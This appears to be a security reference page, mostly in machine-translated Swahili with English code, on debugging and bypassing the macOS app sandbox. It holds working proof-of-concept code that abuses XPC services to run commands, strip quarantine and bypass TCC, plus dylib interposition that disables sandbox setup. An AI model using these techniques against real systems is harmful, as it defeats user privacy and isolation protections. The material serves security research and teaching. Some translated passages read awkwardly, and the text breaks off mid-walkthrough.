macOS Sandbox Debug & Bypass

Reading time: 15 minutes

Sandbox loading process

Katika picha iliyopita inawezekana kuona jinsi sandbox itakavyopakiwa wakati programu yenye haki com.apple.security.app-sandbox inatekelezwa.

Mwandiko utaunganisha /usr/lib/libSystem.B.dylib na binary.

Kisha, libSystem.B itakuwa ikitafuta kazi nyingine kadhaa hadi xpc_pipe_routine itume haki za programu kwa securityd. Securityd inakagua kama mchakato unapaswa kuwa karantini ndani ya Sandbox, na ikiwa ndivyo, itakuwa karantini.
Hatimaye, sandbox itakamilishwa kwa wito wa __sandbox_ms ambayo itaita __mac_syscall.

Possible Bypasses

Bypassing quarantine attribute

Faili zinazoundwa na michakato ya sandboxed zinaongezwa sifa ya karantini ili kuzuia kutoroka kwa sandbox. Hata hivyo, ikiwa utaweza kuunda folda ya .app bila sifa ya karantini ndani ya programu ya sandboxed, unaweza kufanya binary ya kifurushi cha programu iangalie /bin/bash na kuongeza baadhi ya mabadiliko ya mazingira katika plist ili kutumia open ku anzisha programu mpya bila sandbox.

Hii ndiyo iliyofanywa katika CVE-2023-32364.

Abusing Open functionality

Katika esempe za mwisho za kutoroka sandbox ya Word inaweza kuonekana jinsi open cli functionality inaweza kutumika vibaya ili kutoroka sandbox.

Launch Agents/Daemons

Hata kama programu ime kusudiwa kuwa sandboxed (com.apple.security.app-sandbox), inawezekana kupita sandbox ikiwa itatekelezwa kutoka kwa LaunchAgent (~/Library/LaunchAgents) kwa mfano.
Kama ilivyoelezwa katika hiki chapisho, ikiwa unataka kupata kudumu na programu ambayo inasandboxed unaweza kufanya iwetekelezwe kiotomatiki kama LaunchAgent na labda kuingiza msimbo mbaya kupitia mabadiliko ya mazingira ya DyLib.

Abusing Auto Start Locations

Ikiwa mchakato wa sandboxed unaweza kuandika mahali ambapo baadaye programu isiyo na sandbox itakimbia binary, itakuwa na uwezo wa kutoroka kwa kuweka hapo binary. Mfano mzuri wa aina hii ya maeneo ni ~/Library/LaunchAgents au /System/Library/LaunchDaemons.

Kwa hili unaweza hata kuhitaji hatua 2: Kufanya mchakato wenye sandbox yenye ruhusa zaidi (file-read*, file-write*) kutekeleza msimbo wako ambao kwa kweli utaandika mahali ambapo itatekelezwa bila sandbox.

Angalia ukurasa huu kuhusu Auto Start locations:

{{#ref}} ../../../../macos-auto-start-locations.md {{#endref}}

Abusing other processes

Ikiwa kutoka kwa mchakato wa sandbox unaweza kuathiri michakato mingine inayokimbia katika sandboxes zenye vizuizi vidogo (au hakuna), utaweza kutoroka kwenye sandboxes zao:

{{#ref}} ../../../macos-proces-abuse/ {{#endref}}

Available System and User Mach services

Sandbox pia inaruhusu kuwasiliana na Huduma za Mach fulani kupitia XPC zilizofafanuliwa katika profaili application.sb. Ikiwa utaweza kutumia moja ya hizi huduma unaweza kuwa na uwezo wa kutoroka sandbox.

Kama ilivyoonyeshwa katika hiki andiko, taarifa kuhusu huduma za Mach zimehifadhiwa katika /System/Library/xpc/launchd.plist. Inawezekana kupata huduma zote za System na User Mach kwa kutafuta ndani ya faili hiyo kwa <string>System</string> na <string>User</string>.

Zaidi ya hayo, inawezekana kuangalia ikiwa huduma ya Mach inapatikana kwa programu ya sandboxed kwa kuita bootstrap_look_up:

void checkService(const char *serviceName) {
mach_port_t service_port = MACH_PORT_NULL;
kern_return_t err = bootstrap_look_up(bootstrap_port, serviceName, &service_port);
if (!err) {
NSLog(@"available service:%s", serviceName);
mach_port_deallocate(mach_task_self_, service_port);
}
}

void print_available_xpc(void) {
NSDictionary<NSString*, id>* dict = [NSDictionary dictionaryWithContentsOfFile:@"/System/Library/xpc/launchd.plist"];
NSDictionary<NSString*, id>* launchDaemons = dict[@"LaunchDaemons"];
for (NSString* key in launchDaemons) {
NSDictionary<NSString*, id>* job = launchDaemons[key];
NSDictionary<NSString*, id>* machServices = job[@"MachServices"];
for (NSString* serviceName in machServices) {
checkService(serviceName.UTF8String);
}
}
}

Available PID Mach services

Huduma hizi za Mach zilikuwa za kwanza kutumika vibaya ili kutoroka kutoka kwenye sandbox katika andiko hili. Wakati huo, huduma zote za XPC zinazohitajika na programu na mfumo wake zilionekana katika eneo la PID la programu (hizi ni Huduma za Mach zikiwa na ServiceType kama Application).

Ili kuwasiliana na huduma ya XPC ya PID Domain, inahitajika tu kuisajili ndani ya programu kwa mstari kama:

[[NSBundle bundleWithPath:@“/System/Library/PrivateFrameworks/ShoveService.framework"]load];

Zaidi ya hayo, inawezekana kupata huduma zote za Application Mach kwa kutafuta ndani ya System/Library/xpc/launchd.plist kwa <string>Application</string>.

Njia nyingine ya kupata huduma halali za xpc ni kuangalia zile katika:

find /System/Library/Frameworks -name "*.xpc"
find /System/Library/PrivateFrameworks -name "*.xpc"

Kadhaa ya mifano ya kutumia mbinu hii yanaweza kupatikana katika andiko la awali, hata hivyo, yafuatayo ni baadhi ya mifano iliyofupishwa.

/System/Library/PrivateFrameworks/StorageKit.framework/XPCServices/storagekitfsrunner.xpc

Huduma hii inaruhusu kila muunganisho wa XPC kwa kurudisha kila wakati YES na mbinu runTask:arguments:withReply: inatekeleza amri yoyote na vigezo vya kiholela.

Ushambuliaji ulikuwa "rahisi kama":

@protocol SKRemoteTaskRunnerProtocol
-(void)runTask:(NSURL *)task arguments:(NSArray *)args withReply:(void (^)(NSNumber *, NSError *))reply;
@end

void exploit_storagekitfsrunner(void) {
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/StorageKit.framework"] load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.storagekitfsrunner"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SKRemoteTaskRunnerProtocol)];
[conn setInterruptionHandler:^{NSLog(@"connection interrupted!");}];
[conn setInvalidationHandler:^{NSLog(@"connection invalidated!");}];
[conn resume];

[[conn remoteObjectProxy] runTask:[NSURL fileURLWithPath:@"/usr/bin/touch"] arguments:@[@"/tmp/sbx"] withReply:^(NSNumber *bSucc, NSError *error) {
NSLog(@"run task result:%@, error:%@", bSucc, error);
}];
}

/System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework/XPCServices/AudioAnalyticsHelperService.xpc

Huduma hii ya XPC iliruhusu kila mteja kwa kurudi kila wakati YES na njia createZipAtPath:hourThreshold:withReply: kimsingi iliruhusu kuashiria njia ya folda ya kubana na itabana katika faili la ZIP.

Kwa hivyo, inawezekana kuunda muundo wa folda ya programu bandia, kuibana, kisha kuibua na kuitekeleza ili kutoroka sandbox kwani faili mpya hazitakuwa na sifa ya karantini.

Ushambuliaji ulikuwa:

@protocol AudioAnalyticsHelperServiceProtocol
-(void)pruneZips:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
-(void)createZipAtPath:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
@end
void exploit_AudioAnalyticsHelperService(void) {
NSString *currentPath = NSTemporaryDirectory();
chdir([currentPath UTF8String]);
NSLog(@"======== preparing payload at the current path:%@", currentPath);
system("mkdir -p compressed/poc.app/Contents/MacOS; touch 1.json");
[@"#!/bin/bash\ntouch /tmp/sbx\n" writeToFile:@"compressed/poc.app/Contents/MacOS/poc" atomically:YES encoding:NSUTF8StringEncoding error:0];
system("chmod +x compressed/poc.app/Contents/MacOS/poc");

[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework"] load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.internal.audioanalytics.helper"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(AudioAnalyticsHelperServiceProtocol)];
[conn resume];

[[conn remoteObjectProxy] createZipAtPath:currentPath hourThreshold:0 withReply:^(id *error){
NSDirectoryEnumerator *dirEnum = [[[NSFileManager alloc] init] enumeratorAtPath:currentPath];
NSString *file;
while ((file = [dirEnum nextObject])) {
if ([[file pathExtension] isEqualToString: @"zip"]) {
// open the zip
NSString *cmd = [@"open " stringByAppendingString:file];
system([cmd UTF8String]);

sleep(3); // wait for decompression and then open the payload (poc.app)
NSString *cmd2 = [NSString stringWithFormat:@"open /Users/%@/Downloads/%@/poc.app", NSUserName(), [file stringByDeletingPathExtension]];
system([cmd2 UTF8String]);
break;
}
}
}];
}

/System/Library/PrivateFrameworks/WorkflowKit.framework/XPCServices/ShortcutsFileAccessHelper.xpc

Huduma hii ya XPC inaruhusu kutoa ufikiaji wa kusoma na kuandika kwa URL yoyote kwa mteja wa XPC kupitia njia extendAccessToURL:completion: ambayo inakubali muunganisho wowote. Kwa kuwa huduma ya XPC ina FDA, inawezekana kutumia ruhusa hizi kuzunguka TCC kabisa.

Ushambuliaji ulikuwa:

@protocol WFFileAccessHelperProtocol
- (void) extendAccessToURL:(NSURL *) url completion:(void (^) (FPSandboxingURLWrapper *, NSError *))arg2;
@end
typedef int (*PFN)(const char *);
void expoit_ShortcutsFileAccessHelper(NSString *target) {
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/WorkflowKit.framework"]load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.WorkflowKit.ShortcutsFileAccessHelper"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(WFFileAccessHelperProtocol)];
[conn.remoteObjectInterface setClasses:[NSSet setWithArray:@[[NSError class], objc_getClass("FPSandboxingURLWrapper")]] forSelector:@selector(extendAccessToURL:completion:) argumentIndex:0 ofReply:1];
[conn resume];

[[conn remoteObjectProxy] extendAccessToURL:[NSURL fileURLWithPath:target] completion:^(FPSandboxingURLWrapper *fpWrapper, NSError *error) {
NSString *sbxToken = [[NSString alloc] initWithData:[fpWrapper scope] encoding:NSUTF8StringEncoding];
NSURL *targetURL = [fpWrapper url];

void *h = dlopen("/usr/lib/system/libsystem_sandbox.dylib", 2);
PFN sandbox_extension_consume = (PFN)dlsym(h, "sandbox_extension_consume");
if (sandbox_extension_consume([sbxToken UTF8String]) == -1)
NSLog(@"Fail to consume the sandbox token:%@", sbxToken);
else {
NSLog(@"Got the file R&W permission with sandbox token:%@", sbxToken);
NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]);
}
}];
}

Static Compiling & Dynamically linking

Utafiti huu uligundua njia 2 za kupita Sandbox. Kwa sababu sandbox inatumika kutoka userland wakati maktaba ya libSystem inapoload. Ikiwa binary inaweza kuepuka kuiload, haitapata sandboxed kamwe:

• Ikiwa binary ilikuwa imeundwa kwa njia ya statically kabisa, inaweza kuepuka kuiload maktaba hiyo.
• Ikiwa binary haitahitaji kuiload maktaba yoyote (kwa sababu linker pia iko katika libSystem), haitahitaji kuiload libSystem.

Shellcodes

Kumbuka kwamba hata shellcodes katika ARM64 zinahitaji kuunganishwa katika libSystem.dylib:

ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64

Vizuwi visivyorithishwa

Kama ilivyoelezwa katika bonus of this writeup vizuwi vya sandbox kama:

(version 1)
(allow default)
(deny file-write* (literal "/private/tmp/sbx"))

inaweza kupuuziliwa mbali na mchakato mpya unaotekeleza kwa mfano:

mkdir -p /tmp/poc.app/Contents/MacOS
echo '#!/bin/sh\n touch /tmp/sbx' > /tmp/poc.app/Contents/MacOS/poc
chmod +x /tmp/poc.app/Contents/MacOS/poc
open /tmp/poc.app

Hata hivyo, bila shaka, mchakato huu mpya hautarithi haki au mamlaka kutoka kwa mchakato wa mzazi.

Haki

Kumbuka kwamba hata kama baadhi ya vitendo vinaweza kuwa vinavyoruhusiwa na sanduku ikiwa programu ina haki maalum, kama ilivyo:

(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
(allow mach-lookup
(global-name "com.apple.airportd")
(global-name "com.apple.cfnetwork.AuthBrokerAgent")
(global-name "com.apple.cfnetwork.cfnetworkagent")
[...]

Interposting Bypass

Kwa maelezo zaidi kuhusu Interposting angalia:

{{#ref}} ../../../macos-proces-abuse/macos-function-hooking.md {{#endref}}

Interpost _libsecinit_initializer ili kuzuia sandbox

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>

void _libsecinit_initializer(void);

void overriden__libsecinit_initializer(void) {
printf("_libsecinit_initializer called\n");
}

__attribute__((used, section("__DATA,__interpose"))) static struct {
void (*overriden__libsecinit_initializer)(void);
void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!

Interpost __mac_syscall ili kuzuia Sandbox

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>
#include <string.h>

// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);

// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
printf("Bypassing Sandbox initiation.\n");
return 0; // pretend we did the job without actually calling __mac_syscall
}
// Call the original function for other cases
return __mac_syscall(_policyname, _call, _arg);
}

// Interpose Definition
struct interpose_sym {
const void *replacement;
const void *original;
};

// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
};

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand

Debug & bypass Sandbox with lldb

Tuchakue programu ambayo inapaswa kuwekwa kwenye sandbox:

#include <stdlib.h>
int main() {
system("cat ~/Desktop/del.txt");
}

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
</dict>
</plist>

<plist version="1.0">
<dict>
<key>CFBundleIdentifier</key>
<string>xyz.hacktricks.sandbox</string>
<key>CFBundleName</key>
<string>Sandbox</string>
</dict>
</plist>

Kisha jumuisha programu:

# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand

# Create a certificate for "Code Signing"

# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand

echo "Sandbox Bypassed" > ~/Desktop/del.txt

Hebu tuangalie programu ili kuona wakati Sandbox inapo load:

# Load app in debugging
lldb ./sand

# Set breakpoint in xpc_pipe_routine
(lldb) b xpc_pipe_routine

# run
(lldb) r

# This breakpoint is reached by different functionalities
